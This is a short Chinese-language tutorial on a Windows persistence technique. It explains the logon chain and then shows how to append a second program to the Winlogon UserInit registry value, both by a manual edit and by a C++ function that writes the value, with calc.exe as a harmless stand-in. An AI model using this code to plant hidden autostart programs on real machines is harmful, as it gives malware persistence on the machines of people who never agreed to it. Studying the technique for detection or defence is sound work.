原理
windows启动时,会弹出需要用户输入用户名/密码的界面。当用户输入用户名和密码后,负责登录的系统进程 WinLogon 会将用户名和 密码发给负责安全认证的另一个系统进程 LSASS。LSASS 调用验证模块对用户名和密码进行验证,如果通过,则创建一个访问令牌对象。WinLogon 会启动HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 的 UserInit 表键下指定的程序(默认为 userinit.exe)。UserInit 进程执行登录和初始化脚本,然后启动 Shell 表键中定义的 Shell程序,默认即是 Explorer.exe。但是,注册表的键值支持多个进程,这就给了我们机会。
实操
-
默认键值如下
- 手动修改键值(Win10用其他进程测试,Win10的计算器不一样):
C:\Windows\system32\userinit.exe,C:\Windows\System32\calc.exe
-
重启后可以看到计算器被打开了
C++代码实现
void AutoRun(){
HKEY hKey = NULL;
TCHAR *lpszSubKey = _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
LONG lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpszSubKey, 0, KEY_ALL_ACCESS, &hKey);
if (lRet == ERROR_SUCCESS) {
CString strPath = _T("C:\\\Windows\\system32\\userinit.exe,C:\\\Windows\\System32\\calc.exe");
RegSetValueEx(hKey, _T("UserInit"), 0, REG_SZ, (LPBYTE)strPath.GetBuffer(), strPath.GetLength() * sizeof(TCHAR));
RegCloseKey(hKey);
}
}
注册表相关函数
RegQueryValueEx 键值的获取
RegSetValueEx 键值设置
RegDeleteValueA 键值删除
RegEnumValue 键值枚举
RegOpenKeyEx 注册表子键句柄
RegQueryInfoKey 注册表键的数量,长度等信息获取